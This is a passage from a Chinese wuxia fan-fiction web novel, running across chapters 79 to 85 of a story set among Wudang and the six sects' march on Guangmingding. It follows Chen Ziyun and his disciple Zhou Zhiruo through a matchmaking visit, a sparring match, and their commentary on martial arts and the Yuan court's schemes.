陈子云说完就看了一眼周芷若,可这一眼看去却是无尽的幽怨。 陈子云只能假意的咳嗽两声,避过了周芷若的眼神,心里暗暗希望,宋青书这小子能给力一些,可千万不要被周芷若抓在手里拿捏。 可想到他们两人本来的命运,陈子云又不由得轻叹,宋青书要做到这一点,恐怕是难啊。 等已经有些口齿不清的宋青书带着满脸幽怨的周芷若离开,在场的几人几乎同时都叹了口气。 武当那边的人明显是都看出了宋青书的没出息表现,而陈子云则是感觉自己这次怕是要被周芷若给埋怨死了。 “白小友,竟然培养出这么一位,当真是让老道汗颜,老道活了百多年,除了当初那位峨眉祖师郭襄女侠,还不曾见过如此出色的女子。” 张三丰难得的惆怅了,也不知是感叹周芷若的出众,还是想起了他曾经的眷恋之人。 宋远桥只是在一边符合这点点头,倒是刚见周芷若的殷梨亭感慨道:“周姑娘确实是出类拔萃,与青书,倒也......” “六弟不需要往我脸上贴金,青书这孩子虽然也不差,可比起周姑娘来,着实......” 宋远桥没等殷梨亭说完就制止了他。 “大哥,你也不用妄自菲薄,这天下能比得上青书的青年才俊怕也是没多少。” 殷梨亭自然还是要维护一下武当的脸面。 “梨亭说的不错,芷若虽然优秀,但青书也不差。而且几位也是见识过如今这天下人物,如果不是对青书有所期待,白某难道是带芷若来武当山炫耀的不成。” 陈子云道。 “白小友切莫如此说话,这武当山上哪里有什么值得让你攀比的。远桥,梨亭你们两个也切不可误会了小友的好意。 要是青书能得芷若姑娘的青睐,那当然是我武当百年幸事,可若是没能成好事,那也不能苛责。” 张三丰道。 “谨遵师傅教诲。” 张三丰自从把武当上的事情交给宋远桥后,就很少用这样的语气与他们几兄弟说话了,这次如此郑重其事的嘱咐,宋远桥跟殷梨亭自然是遵从师命。 第八十章 大事件 “哎,也不知武当有没有这般的福气。” 张三丰面的这样能影响武当百年气运的事情,也是不敢大意。 要是宋青书能迎娶周芷若,那不单单是宋青书一人得力,就是整个武当派也会因为这位未来的掌门夫人而收益。 不只是看在周芷若的风姿才情,还有陈子云这个姻亲关系。他这几年虽然依旧是以闭关为主,可关于借刀盟的事情,他也是听自己徒弟说过的。 虽然这个借刀盟没有跟一般的门派一样发展,但是对方只要是出来行走江湖的都有这相当高的武功修为。 而且难得的事他们都执行“路见不平,借刀一用”的原则,在江湖上的名声可以说是一片大好。 那些受了借刀盟恩惠,收下借刀令的江湖人物更是数不胜数,光光这些势力联合起来就不输于任何一个武林门派了。 而且因为陈子云的玉米,如今武当山附近,甚至所在的湖北这一省之地都没有了多少饥民。 这样功德无量的事情,就是眼前这位看着书生摸样的陈子云办成的,要是能和这样的人结成亲家,张三丰怎么能不愿意。 张三丰后面就满脸笑意的说着关于玉米在武当山的收获,还有接受武当馈赠的那些农人对于这种祥瑞般的作物的崇拜。 陈子云也跟着说了几句,由于自己村子带去天下的各地种植玉米的反馈,都在为那些过的最不容易的人能吃饱饭而自豪着。 等宋青书跟着周芷若再次回来的时候,几人才停下了口中的那些关于黎民苍生的话题。 本来宋青书作为武当的东道主,应该是周芷若跟着他才对。可几人看到的情形却是周芷若款款大方的走在前面,而宋青书则是满脸讨好的跟在一侧。 对于周芷若偶尔的回应,在那里欢喜的的介绍着武当山上大大小小的事情。 几人还听到些许关于“神门十三剑”“绝户虎爪手”的词汇,竟然是宋青书在讲武当绝学中的关窍。 这让宋远桥这个父亲兼武当掌门差点就拿起手里的杯子砸过去,不是说他有什么门户之见。 自己师父早就有意传武功给陈子云,宋远桥是知道的,说不定周芷若作为陈子云的入室弟子早就涉猎了武当的功夫。 可张三丰传功,那是这位绝代大宗师的气魄,可他宋青书如今不过是一个武当弟子,他有什么权利私自传功。 这种事情,要是发生在一般的江湖门派,说不定掌门人就要一张劈死这个不孝子弟,清理门户了。 “咳咳咳,青书。” 殷梨亭在那里看着自己大师哥越来越黑的脸色,赶紧出声提醒自己这个有些忘我的侄子。 宋青书这般才好像如梦初醒,原来他跟周芷若已经回到了客厅。他还以为自己跟这位神仙般的姑娘还在武当群峰之间探讨武学呢。 “白大侠武动果然高深莫测,青书与芷若姑娘交流一番,受益匪浅。” 陈子云听宋青书如此说,也只是笑着点点头。 要说周芷若会主动跟宋青书交流武功,他是不信的,想必是这小宋舔狗为了博得周芷若一笑,主动将武当的绝学展示一番倒是可能。 可这样的事情,自己也没必要当众戳破。 “哈哈哈,白小友的武功哪里是你能看得懂的,青书不可妄语。” 张三丰笑哈哈的点了一句宋青书,让这位只是想讨好陈子云以获得周芷若好感的他顿时面红耳赤。 “芷若姑娘,要是对武当的功夫有兴趣,老道倒是可以展示几手。” 张三丰看来真的是很喜欢周芷若,要不然也他这样的身份,怎么可能跟周芷若这个孙子辈这般客气。 就算他真的想传武当的功夫,宋远桥、殷梨亭甚至宋青书也一样可以代劳。 “多谢张真人厚爱,芷若受宠若惊。不过公子曾教诲芷若,天下功夫浩如烟海,贪多不如专精。 自家的功夫尚且练的不熟,就贪图别人的功夫,这是舍本逐末,最是要不得的。” “哈哈哈,难得有年轻人能遏制自己的好奇心,就算是远桥他们年轻的时候,也没有你这般的定性,总是缠着我教了这套要学那套,结果没有一套功夫能练到深处的。 好在等他们年长些的时候,终于明白其中道理,这才有所成就。你年纪轻轻就有这般的见识,着实不易。 白小友,教徒有方啊。” 张三丰乐呵呵的夸赞道,顺便还提了一句陈子云的功劳。 “真人,你也是当师傅的,师傅领进门修行在个人。我教过的人也不少,可芷若这般的也就她一个,所以这个功劳我可不敢接。” 陈子云也是笑着回了一句。 “也是也是。” 张三丰虽然还笑着,可眼里露出的一丝遗憾并没有深藏,看来他是想到了那个同样出类拨萃却英年早逝的张翠山了。 陈子云带着周芷若在武当山上游玩了好几天,虽然周芷若一开始对陈子云事先不跟她说明,就带她来相亲的这件事很是恼火。 但在故意不理睬陈子云三天之后,终于是恢复如常了。 “看来公子是嫌弃芷若了,这么着急的要把芷若给嫁出去。” 就这么一句话,让陈子云又是三天过的不爽利。 直到有一天偶尔看到宋青书带着周芷若在山间游玩,她脸上的笑意并不是装出来的,也不再是那种客气却拒人千里的微笑,才稍稍出了一口气。 看来这小宋,舔的这么勤快,还是有点作用的,不过关键也是因为没有张无忌的出现吧。 不过有件事情,让陈子云一直比较在意,那就是最近几天好像有不少信鸽飞进周芷若的小院子。因为当时这丫头正在跟自己闹脾气,所以他也不好意思问。 直到有一天三个峨眉弟子来到武当,其中一个还是陈子云见过的丁敏君。她们带来的消息也够劲爆的,竟然是峨眉派要邀请六大派同上光明顶。 陈子云此时才明白,原来时间不知不觉已经到了这个时候了,那就能对得上了,看来周芷若收到的那些消息多半也是她那些小弟用信鸽送来的。 这件江湖大事,但凡有点消息渠道的基本都知道了。 第八十一章 同上昆仑 “峨眉弟子丁敏君,奉掌门灭绝师太之令,邀请武当派齐上光明顶,一举消灭魔教,为武林除害。” “张真人,宋大侠,殷六侠,你......” 当丁敏君见到与殷梨亭相临而坐的陈子云时,直接被吓的退了半步。如果不是被后面的一个年级尚青的师妹挡住,怕是要当众出丑。 陈子云没有理会他,自顾自的喝着茶,这样的小角色还配不上他多看一眼。而且这里是武当,自己作为客人本来都不该出现在,只是宋远桥此时讨好陈子云,希望能结下姻亲才没让他跟周芷若避讳。 “魔教......惩奸除恶,我武当派义不容辞。” 先开口的却是殷梨亭,语气里全然都是恨意。没办法,杨逍的夺妻之恨,是个男人都受不了。 宋远桥也知道自己的六师弟为何这么激愤,而且正邪有别,他们六大派跟魔教这一战也不过是早晚的事情。 “既然灭绝师太有这份魄力,我武当自然也不会落于人后,你且回去告诉你师傅,武当不会缺席。” 宋远桥也只能顺势答应下来,对于这样的事情,张三丰是不会管的,他这个武当掌权人自然可以答应下来。 本来峨眉弟子远道而来,肯定是要在武当山上休息一夜的,可不管是丁敏君还是宋远桥好像都没有把人留下的意思。 丁敏君自然是不想见到陈子云这个给他留下深刻阴影的人物,而宋远桥则是看出了陈子云与峨眉派之间的间隙。 相对于一个关系不远不近的武林门派,维护好跟陈子云的关系,才是宋远桥心中的头等大事。 陈子云倒是没有在意这些,反倒是对刚才那位跟在丁敏君后面的峨眉女弟子看着似乎有几分面熟。 而当他将目光移向周芷若的时候,他几更确定自己心里的想法了。 倒不是说周芷若躲避了他的目光,周芷若的眼睛依旧清澈,脸上也没有半点心虚的摸样。 可也正式因为如此,陈子云才确定,周芷若必然是认识那位年轻的峨眉弟子的。 当宋远桥带着宋青书跟殷梨亭去找张三丰汇报峨眉的请求时,陈子云缓缓的对周芷若说了一句:“芷若,这几天你可没有这么坦然的跟我对视过。” 说完陈子云就晃晃悠悠的走了,后面传来小姑娘很恨的跺脚声,表明周芷若自然是明白陈子云的意思了。 周芷若的破绽就在于她过于敏感的调节了自己的情绪,在看到那位熟人的瞬间,暂时忘却了她这几日故意不给陈子云好脸色看的事情。 这就直接证明了陈子云的猜想,那位峨眉弟子就是周芷若放出去的那些风筝中的一个。 不过陈子云对于这件事情的好奇心也就在这里截止了,他对于证明自己猜测正确性的验证可比周芷若到底要如何动用这些人要在意的多。 张三丰对六大派围攻光明顶这件事的态度跟陈子云也差不多,站在正派的角度,他们武当必须派人参与,但是却不能把整个武当都压上去。 所谓的正邪,在这位百岁老人的眼里,早就看的透彻不过了。 “远桥,那这次一线峡之汇就由你带队去吧,不过三代弟子中的选择要慎重些,不要让年轻弟子们白白送了性命。” “是,师父。我也是这样考虑的,除了我们几师兄弟,我打算带上青书,再有就是几个基本能出师的弟子,一般的三代弟子还是让他们留在山上。” “嗯,不错。” 张三丰点点头,却又朝陈子云这边看了一眼。 “白小友,可有兴趣?” “哈哈哈,好你个张老道,你是想让我给武当派做个保镖吧。” “如果白小友愿意同行,那我这个留在山上的老头子也能放心些。” 张三丰则是直接承认了。 “也好,反正这次我带芷若出来,也想让她历练一番。这一趟光明顶之行,我们就与武当一道吧。” 陈子云这话一出口,最开心的不是张三丰,而是宋青书这个眼睛的余光始终未离开过周芷若的小舔狗。 本来从武当去西域明教总坛,也不用如此着急的出发,只是为了周芷若这个被已经被武当众人当成自己人的姑娘家,特意提前出发了。 周芷若坐在陈子云他们带来的那架马车上,陈子云跟武当的几位护在左右,这阵仗,就算是一朝公主出行也不一定能享受的了。 周芷若的魅力不单单是对那些血气方刚的少年有效,就是宋远桥这样的父亲辈的人物,也会被她的聪慧与知礼折服。 以前只有陈子云把周芷若当成女儿,而现在宋远桥、俞莲舟、张松溪、殷梨亭、莫声谷几人也无不把她当成是自己的掌上明珠般的呵护。 陈子云还调笑了她一句:“早知道芷若有这般的本事,还放那么多风筝做什么。” 众人一路向西缓缓的赶路,出湖北过陕西入甘肃。而一旦碰到什么好的景致,宋青书早早的就凑到马车的窗前,隔着窗对着里面的周芷若介绍起来。 也不管周芷若理会不理会他的自作多情,搜肠刮肚的把以前听说过的,见识过的赞美之词都一股脑的诵出来。 要是偶尔见到周芷若主动的打开了窗门,那样子就像是喝了仙浆玉露一般的舒心。 陈子云每次看到这样的场景时,总是不自觉的把脸转开,他怕自己实在忍不住笑出来。 宋青书说的那些,对于饱读诗书的周芷若来讲简直是幼稚园一般的东西,为了维护他的面子才没有说明。 而周芷若之所以打开窗户,本来就是要暗示宋青书,让他不要再讲那些了,其中的有一些是有名的淫词浪调,不合适在这样的场合讲的。 可宋青书明显没有收到周芷若的暗示,还以为她是被自己的才华打动,才打开窗户来瞻仰他的。 可惜这些东西,陈子云是知道的,可武当派里虽然也读些书,但是终究没有过多的钻研这些,所以自然也没人发现其中的不妥。 周芷若好几次向陈子云投来求救的目光,他只是当做没看到。这个从小女孩长成大姑娘都没怎么吃过亏的徒弟,他也难得见到如此让她有苦说不出的窘态,自然不会打断它。 第八十二章 借刀盟黄龙使 让一个人对你留下深刻印象的方法,不一定是要你表现的多么优秀,只要你与众不同,她就是想忘记也难。 陈子云觉得,现在的宋青书在这方面做的就已经挺好,虽然是在出糗,但是他自己不知道啊,而知道的人又不会说出来,那这还怕什么。 直到第七天,周芷若突然从马车里出来了,说是要好好欣赏异域的风景,还故意与陈子云并排而骑。 这下就是宋青书这个为爱奋斗的少年也没有再跟上来,因为单独跟周芷若说悄悄话是一大享受,可要是在自己的长辈面前再说那些,他也是要面子的啊。 期间周芷若好几次装着没有控制好缰绳,直接用马头撞陈子云,作为她对陈子云冷眼旁观的小小报复。 等陈子云一行人到了昆仑山脚下,众人也收起了游玩的心思,都知道这这里就算是到了明教的势力范围了。 这里的每一个人都可能是魔教的探子、杀手,再也不能掉以轻心。 每次在饭馆里吃饭,也必定是让人先试试,而且不到不得已,他们都是吃自己的带的食物为主。 而且因为周芷若中途也改为了骑马而行,他们比本来预计马车到达时间早了上了不少,所以与约定的时间还有空闲。 他们自然也不可能去当这个出头鸟,用武当派这几十号人,跟魔教的众多教徒硬拼。 所以宋远桥决定,找个隐蔽的地方,先暂住几天,等其他各派的人物都到的差不多了再去一线峡汇合。 不过刚驻扎下来没多久,有个体态熊昂的汉子却突然找了上来,让本来负责巡防的武当弟子吓了一跳。 “借刀盟,黄柏年拜见武当各位。” 陈子云一听就知道是自己的人跟着自己留下的印记找上来了。 “好一位壮汉,想来这位就是借刀盟,三龙使之一的黄龙使了,宋远桥携各位师弟,见过了。” 宋远桥施礼道。 “宋大侠客气,小子乃是无名后辈,当不得诸位大侠的如此厚礼。” 黄柏年还了一礼,然后看向陈子云这边恭敬的叫了一声老师。 陈子云点点头。 “黄大哥,来的就您一个吗?二哥三哥他们没来吗?” 周芷若见到黄柏年来了,高兴的很,不知道是因为许久没见了,还是想到了可以借他避开宋青书的纠缠。 “哈哈,芷若妹子几日不见越发美丽了。你二哥出海下南洋了,老三还在大都没回来,那里好像出了些事情。” 黄柏年见到周芷若这个看着长大的小妹妹也是开怀一笑。 “二哥下南洋我知道,这是每年都要去的,可大都能有什么事情?” 周芷若好像发现了什么有趣的事情。 “具体的老三也没说,只是说元廷似乎有针对江湖的异动,他正在打听消息,一旦有所发现,自然会禀告老师的。” 黄柏年看了陈子云一眼,说道。 “老三的任务暂时需要保密,元廷这两年确实有些不安分,大家平时留心一些吧。” 陈子云只是模糊的提醒了几句,至于后面赵敏搅乱江湖的事情,他并不想过多的干预。 倒不是为了所谓的剧情,还是那句话,这些所谓的江湖人生生死死其实对天下的影响并不大。只要赵敏不捞过界来找他那些村庄的麻烦,陈子云也懒得动手。 而且说句实在的,就算这次赵敏设计整个江湖武林,把六大派连带着明教都打个半残,其实也是件好事。 一个门派的传承,其实跟王朝也没什么区别,一旦年代久了就难免出现一些腌臜的事情,要是能肃清一下也是好的。 就当是开颅去涎,阵痛消毒了。 黄柏年跟武当众人见了礼,其中莫声谷似乎对这位同样身形不凡的大汉产生了兴趣。 拉着黄柏年就要切磋一番,陈子云觉得无不可,倒是宋远桥皱了皱眉头,他是担心万一比试之中出现了伤残,会有损武当跟借刀盟之间的情意。 “既然莫七侠有这个兴趣,黄某刚好也有些技痒,咱们就比划几招。” 见黄柏年也是如此豪情,众人自然不会再阻止,而是纷纷站起身,让出了中间的位置,让地方给两人过招。 莫声谷最高明的当然还是他的剑法,但是这样的切磋要是动了刀兵那可就不美了,所以还是比拳脚更合适些。 见莫声谷放下了手中长剑,黄柏年自然也明白了对方是什么意思。 “这下倒是在下占莫七侠便宜了,黄某的功夫八九分都在这一双手掌之上。” “哼,我武当难道就没有拿得出手的拳脚功夫吗,看招。” 莫声谷本来就是直率之人,虽然知道黄柏年并没有什么瞧不起武当拳脚的意思,但听他这么一说自然的脾气就上来了。 一招武当虎爪手直接攻向黄柏年的咽喉,这虎爪手本来就是张三丰年轻的时候行走天下,在东北观看猛虎捕猎心有所感而创。 招法猛烈之极,更是合适莫声谷这般的彪形大汉,由他如今使用出来,当真有几分猛虎下山的威势。 “好虎爪!” 黄柏年也是拳脚的高手,自然看得出这套招法之间的霸道,当下也不敢大意,一出手就是自己最擅长的一招“震惊百里”。 正是那从倚天剑里藏着的降龙十八掌精要里剩下的几招之一,也是黄柏年练的最好的一招。 隐隐之间一声龙吟之声从黄柏年的双掌之间喷薄而出,直朝莫声谷而去。 武当众人看的这分秒之间上演的一场龙争虎斗,都不由得赞叹两人的功夫了得。 自己家的师弟宋远桥是清楚的,而对面那位年纪不大的借刀盟黄龙使竟然能与自己的七弟相比不落下风,也是感到大为惊讶。 而这掌法更是神妙,隐隐比自己师父传下来的虎爪手还多了三分霸道。可这世间有如此掌法,自己这个武当掌门竟然不知道,不由得让宋远桥震惊之余更是好奇。 黄柏年与莫声谷之间龙掌对虎爪,以硬碰硬,以强对强,看的是众人酣畅淋漓。 第八十三章 龙生九子 黄柏年虽然只学了降龙十八掌中的三掌,可其间的变化可不下百种,而且这些年在江湖上行走,遇见的江湖上用掌的好手也是不少。 不管是对敌,还是切磋,这番闯荡下来,自然就吸收了各家的所长,有了自己对于这三掌降龙的独到理解。 而他们之所以被称为的借刀盟三位龙使,就是因为在降龙十八掌的三掌之外悟出了自己的心得,创出了自己的名堂,才有了这样的名号。 而黄柏年既然被尊为三龙使之首的黄龙使自然有一番傲视群雄的气魄。 “好,武当虎爪果然有过人之处,莫七侠,若是能接下我最后这招‘龙生九子’,在下就甘拜下风。“ 也不等莫声谷答应,只见得黄柏年本来打向莫声谷的那只手掌,竟然在空中变幻出了九道残影。 这九道残影分别以不同的方向打向莫声谷周身不同的要害,就像是有九个人同时出招一般。 “好。” 就连站在一旁观看的武当众人也是大赞一声,这样的招法实在是精彩至极。 可在场外看着的固然是觉得黄柏年这招“龙生九子”神妙,可正在面对这一招的莫声谷可就是觉得相当的不妙了。 他跟黄柏年这几掌交手下来,已经察觉到地方的掌力霸道绝伦,比他们武当发源于道家底子的功夫要猛烈不少。 就刚才那几招硬拼之下,他的虎爪都有些指尖疼痛了,要是再与对方硬拼,怕是要伤筋动骨了。 可这九个掌影刚好又把他所有的退路都封死了,一旦他露出退却的意思,恐怕就是这掌风追上自己的时候。 “公子,芷若记得你曾经点评过黄大哥的这招“龙生九子”。当初您说虽然黄大哥能在力中生巧,将这霸道绝伦的掌法延伸出巧妙不凡的招式来,算的上是别出一格。 可也正式因为这样的追求巧劲,却把原本能一力降十会掌法改的有些不伦不类,要是对敌时被人抓住破绽,不管这九个掌影而全力破其一掌。 到反而有可能被对方的力道给降住,是不是这样啊,公子?” 周芷若俏皮的瞥了陈子云一眼。 陈子云没好气的点点头,这小妮子祸水东引的本事可真够厉害的。 莫声谷本来正被黄柏年逼得进退失据,听到周芷若这话之后也不迟疑,直接变虎爪为绵掌。 这武当绵掌是承袭了道家中对于水的理解,水处下不争,随方就圆,柔和清静,然而,水亦可蓄能储势,穿石劈岭,无孔不入,无坚不摧。 至柔则刚,武当绵掌刚柔要济,阴阳相随,不僵不滞,看似柔弱无骨,实则绵里藏铁。 而莫声谷的这一掌则是将绵掌中的刚劲发挥到了极致,众人在他们两掌相交之际,只听得一阵如雷般的轰鸣,紧接着是两声裂帛之音。 当扬起的灰尘落下,众人看着两人刚才交手的手臂上的袖子均已经撕裂,一整条手臂都赤裸裸的露在外面。 黄柏年那手掌通红一片还在不停的发颤,而莫声谷看上去似乎要好些,只是脚下的泥地却是被他踩出了两个深深的脚印。 “武当绵掌果然非凡,黄某佩服,甘拜下风。” 黄柏年对着莫声谷抱拳说道。 “黄龙使的功夫才是精彩,宋远桥也算是走遍江湖,却未见过如龙使这般刚猛的掌法。” 不知怎么先开口的却是宋远桥而不是莫声谷。 等宋远桥这话说完,才见莫声谷呼的一声吐出一口长气来,面前还飘荡的灰尘被这口气吹的四散。 “黄龙使的功夫在下领教了,我莫老七虽然粗鄙,但也不是不识大体之人。龙使最后明明可以九掌合一,却犹豫了刹那,才让原本能发出的十分的掌力,最少收回了三分。 如若不然,在下恐怕也没这么快能回过气来,这场比试是龙使胜了。不过黄龙使你胜的不过是武当最末的莫老七,却不是武当派的功夫。” 莫声谷这么一说,众人才明白原来在最后一掌,黄柏年竟然还留手了。 陈子云自然是看出来了,宋远桥既然能提前说话给莫声谷打掩护显然也是明白的。而武当老二俞莲舟,看他此时的表情也知道,应该也是有所察觉。 “黄大哥,你真的已经能九子合一了?公子说过,你这招如果能从力入巧,再从巧回力,怕是能直追先辈,不负这掌法的真正威名呢!” 周芷若虽然功夫不差,但她对刚猛的降龙掌并没有太多的兴趣也没有练深,自然看不出这里的名堂。 “芷若妹子,哪里有这么容易的,我也只是摸到一点苗头,最少也要等我自己再琢磨个几年的。” 黄柏年虽然没有承认,可脸上的得意之色是不藏着的。 “不错。” 陈子云也难得的称赞了一句。 这黄柏年当初进入第一示范村的时候,不过是个饿的就剩下皮包骨头的少年。也看不出什么天赋,反而有些鲁钝。 可一旦让他吃饱之后,这肉感觉就跟羊羔贴秋膘一般的长,而且连个子都是一个月蹿一截。 本以为一个不过十三四岁的小孩子,等他长开的时候才发现,原来这家伙已经十八了。 只是因为长期的营养不良,导致发育缓慢,这一旦营养跟上,又加之练武,这就把这几年积累下来的生长激素给全都发挥出来了。 而他的练武天赋也有些像郭靖,属于前期痴痴呆呆,一招学个半年,可一旦被他学出自己的门道来了。 那也同样是一招就把当时看不起他的那些小家伙们都一个个的撂倒了。 而他憨厚的禀性,加上他本来就比那批少年大了几岁,所有的小孩子都愿意认下他这个大哥。 黄柏年这几年也成了那些陆陆续续出走江湖的子弟们的带头人,有他在也少了陈子云很多事。 有了黄柏年的加入,他们这里也热闹了不少,除了自持身份的宋远桥,其他的几位武当大侠们都跟黄柏年交手切磋了。 武当的那几位一方面当然也是为了讨回自己师弟落败的面子,另一方面出于一个武林人士自然的向往。 第八十四章 论七伤 碰到一个好的对手总想着切磋较量一番,按照现代的说法,武功其实和其他的体育项目也没有什么区别。遇到一个旗鼓相当的对手,总是心痒难耐,不切磋一番岂不是浪费了这番缘分。 而黄柏年更是求之不得,他的龙生九子,就差这样的机会,经过这些武当好手的切磋,让他起码要缩短了最终创出九子归一的不少时间。 虽然这几场比斗下来有输有赢,但是两方面都可以说是收获良多。 就连宋青书这个武当第三代,在见识了黄柏年的功夫之后,也是有了些许不曾在武当山闭门造车的进步。 后面其他门派,先到的反而是离昆仑最远的少林,随后就是华山、崆峒,峨眉这个发起人反而来的比较晚,这让先到的几派都有些意见。 至于说昆仑,他们本来就在西域,而且这个门派对于其他几个来自中原的门派,终究还是有些不同的。 自从其他的门派到了之后,陈子云就跟周芷若一起躲进了马车里。周芷若是不想见那些无所谓的人,而陈子云纯粹是没兴趣。 这些江湖上的打打杀杀,对他而言实在是有些不怎么上心,死个百十个人,对于这天下而言实在是无所谓的事情。 要不是知道元廷对这场六大派围攻光明顶有所筹谋,陈子云其实也没什么兴趣来这一趟的。 让张无忌那小子出场风头,也算是对于他前半生凄楚命运的一种弥补,何必去扰乱他。 所谓的明教五行旗,在陈子云看来就有些不伦不类,你说他是江湖人吧,又有些军阵的手段,你说他是军队吧,又喜欢在江湖上厮混。 其实明教也是个矛盾的存在,要么你就跟元廷摆明开干,安心当个反政府组织。却非要跟江湖扯上关系,几个领头的人物,都以江湖名号自居,实在是不伦不类。 陈子云跟周芷若躲在马车里,一边品评着这场如闹剧一般的六大派围攻光明顶,一边根据手上收到的消息,分析着元廷对于这场江湖纷争的兴趣。 “公子,根据我的分析,朝廷最在意的应该是明教,毕竟各地的起义军几乎都有他们的影子。而所谓的六大派不过是一些江湖上的琐事,并不能威胁到元廷的统治地位。” 周芷若从她搜集到的信息分析着。 陈子云把手里刚收到的资料递给了周芷若。 “按照小蓝发来的信息,大都那边确实有一方势力准备插手江湖,虽然是把明教当成了头号大敌,但是对方同样没有放过其他门派的意思。 所以根据我猜测,这场纷争闹剧之后,元廷必然是黄雀在后,打算将所有人都一网打尽,以期望与缓和日渐嚣张的起义军势力。” “可是公子,以六大派如此多的高手,元廷要怎么才能一网成擒呢。虽然这些人里面没有像张真人那般的绝代宗师,可合在一起的力量也不容小觑。 如果是一般的军队,起码要动用上万人的精锐才能行吧。如今的元廷四面楚歌,哪里还能凑得出这般规模的队伍。“ “嘿,芷若你说的没错,不过你疏忽了一种东西?” “什么东西?” “王难姑的拿手绝活是什么?” “公子说是用毒?他们怎么敢?” “为什么不敢,要是这些江湖人都死光,对元廷才是最好不过的。” “可这也是几千人的性命啊,他们就不怕.......” “怕什么?骂名吗?芷若你一直喜欢在江湖上游荡,我也不曾干涉你的选择。但是你也要知道,一旦事情上升到了国家族群之间的纷争,一切的其他事情都需要后退,不论是所谓的江湖道义,还是人心道德。 一切都是以胜利为第一前提,胜者拥有一切,败者承受一切。” “嗯,芷若知道了,公子。” 陈子云听到外面叽叽喳喳的在争吵着什么,其中几句是关于崆峒派的七伤拳的要义。 “人身五行,心属火、肺属金、肾属水、脾属土、肝属木、再加上阴阳二气,一练七伤,七者皆伤。这七伤拳的拳功每深一层,自身内脏便多受一层损害,实则是先伤己,再伤敌。” “芷若,你可觉得这崆峒派的七伤拳如何?” 陈子云不关心外面所谓的张无忌一人单挑六大派,只是借此机会教育一番自己的小徒弟。 “天下武功,花样繁多,但肯定都是先强壮身体,才能奋勇杀敌的。要是真难像这人所说,练个拳法还能将人练死的,要么是后人误会了前人的意思,要么一定有前缀的功夫。 要不然他们这个创拳的人是如何练出来的,总不能拳还没练好,倒是把人给练废了,那岂不是荒谬。” 周芷若满是不屑的说道。 “哈哈哈,芷若说的不错,这崆峒派的七伤拳实在是毫无道理,如果不是这创拳之人有意坑害后辈弟子,肯定是应该有传下相应的前期功夫。 只是后人不孝,为了求成将前面的基础功夫都荒废了,只求这凌厉至极的七伤拳,却不知还有个七伤前拳。” 陈子云笑着说道。 “那公子,按照你的推测,这七伤拳的前部分是如何的功夫?” “这也简单,欲求其力,比壮其身。七伤拳既然是通过身体五行,加上阴阳二气练出来的拳劲,那自然前部功夫都应该是以壮大脏腑为前提的。 这倒是跟武当的内功路数相近,要是让宋远桥他们练这七伤拳,肯定比这什么崆峒五老要能更发挥出威力来。” “原来如此,芷若明白了。公子的意思是在提醒芷若,九阴真经上的功夫虽然有速成的优势,但是终究比不上靠自己一步步练出来的功力要紧是吗?” “不错,不错。芷若以你现在的身手,如果是比武争胜就算是宋远桥也不一定是你的对手。 可要是说道功力修为以及武道修养,你却远远不如对方。 武当七侠里,张翠山早逝,俞岱岩瘫痪,剩下的几个人里,真的得到张三丰真传的也就是一个宋远桥一个俞莲舟,其他的几人都差了些。 而宋远桥的心性修为又是最贴合武当的功夫的,虽然他的武技方面不一定比俞莲舟强,可说道武学修养,那是毫无疑问的武当二代第一人。” 陈子云认真的说道。 第八十五章 两仪之阵 “没想到公子对宋大侠这么高的评价。” “难道你以为宋远桥能成为武当实际的掌门人,就是因为他年长吗?” “诶,这华山派的掌门竟然是个如此年轻的人。” 周芷若像是发现了什么好玩的事情。 “芷若你这不是明知故问吗,杀鲜于通的事情,我又没有瞒着你。这位华山掌门,不过是华山派不得已推出来充门面的,有站出来跟张无忌较量的胆识就已经算很不错了。” 陈子云翻了个白眼道。 “嘻嘻,其实芷若是想问问,如果这位年轻的华山掌门死在了光明顶,华山派又要推哪位出来当华山掌门人。” 周芷若意有所指。 “难道芷若你放出去的那些风筝,已经有把握竞争者华山掌门之位了?” 陈子云有些惊讶的道。 “总是要试试才知道的,不是吗?公子,这个是你教芷若的,万事皆有可能。” 周芷若玩着自己的秀发轻轻的道。 陈子云算是知道自己这个徒弟对于江湖的热切心思了,不由得扶额叹息。 “你想怎么玩随你,我就一个要求,别拿那些你曾经的师兄弟的小命开玩笑,有些东西你一旦失去了,后悔可不一定有用。” “公子放心,芷若绝不会变成那样的人。” 周芷若认真的答复道。 “好了,你也别太紧张,我不过是预先提醒你而已。你看外面,这和尚的龙爪手倒是有几分摸样。” 陈子云指着马车外正在与张无忌对攻的空性老和尚说道。 “咦,公子,这少林寺的龙爪手与黄大哥他们练的降龙掌倒是有几分神似呢。呀,那小子怎么也会龙爪手?” 周芷若看到张无忌竟然用少林龙爪手对付空性的龙爪手,而且还能招招都占得先机,着实被惊到了。 “那哪里是什么龙爪手,不过是仗着自己内功欺负人罢了。” 陈子云嗤笑了一声道。 “不是吗?” 周芷若皱着眉头,她看到的还是分明炉火纯青的龙爪手。 “这小子奇遇连连,修得了一身旷古烁今的奇异内功,天下武功在他眼里看几遍就能摸出门道,一般的拳脚招法更是看一遍就能模仿。 不过你也不用担心,招式能模仿,可这里面的东西还是他自己的内功路数,与真正的龙爪手还是不同的。” 陈子云道。 “可这也是不得了啊,没想到除了九阴真经这外,天下间还有如此神奇的武动。” 周芷若看着在场中已经击败了空性的张无忌似乎产生了一些兴趣。 这让一直守在马车旁边的宋青书大吃飞醋。 “芷若,你要是有意,等我将他打败,再把那小子古怪的功夫给你问出来。” “青书不得胡说,这人连空性大师都不是对手,岂是你能打赢的,而且我武当派子弟怎么能做出夺人传承的事情来。 这要是被你父亲听见了,说不得要让你抄写《道德经》去。” 跟宋青书站在一起的俞莲舟轻声的训斥道。 宋青书刚才也是妒意上头,才说出那么不经过脑子的话,现在听俞莲舟的提醒自然也醒悟了过来。 “二师叔教训的是,是青书莽撞了。” 俞莲舟看着宋青书认错的样子,又看了一眼马车里的周芷若,不由得摇头一叹。 当年周幽王烽火戏诸侯,不过是为了褒姒一笑;如今有周芷若这般的女子在,江湖中不知道多少豪杰也愿意效仿,自己这青书侄儿遇见她也不知道是福是祸。 周芷若听到宋青书那不着边际的话只是淡淡的一笑,陈子云则是翻了一个白眼,这陷入自己恋爱幻想中的大男孩,已经完全认不清自己跟现实了。 这时候哪怕是周芷若让宋青书去做一件很可能会送命的事情,对方也会毫不留情的答应。 他不会考虑,这是不是周芷若打算害他,只会觉得是周芷若是在考验他,只要他通过了,那他的机会就来了。 傻的可爱,也着实可悲。 这次没有了鲜于通,华山派也不可能派他们跟上任的年轻掌门来丢脸,所以一出来就是华山高矮两位长老,哦,现在应该是太上长老了。 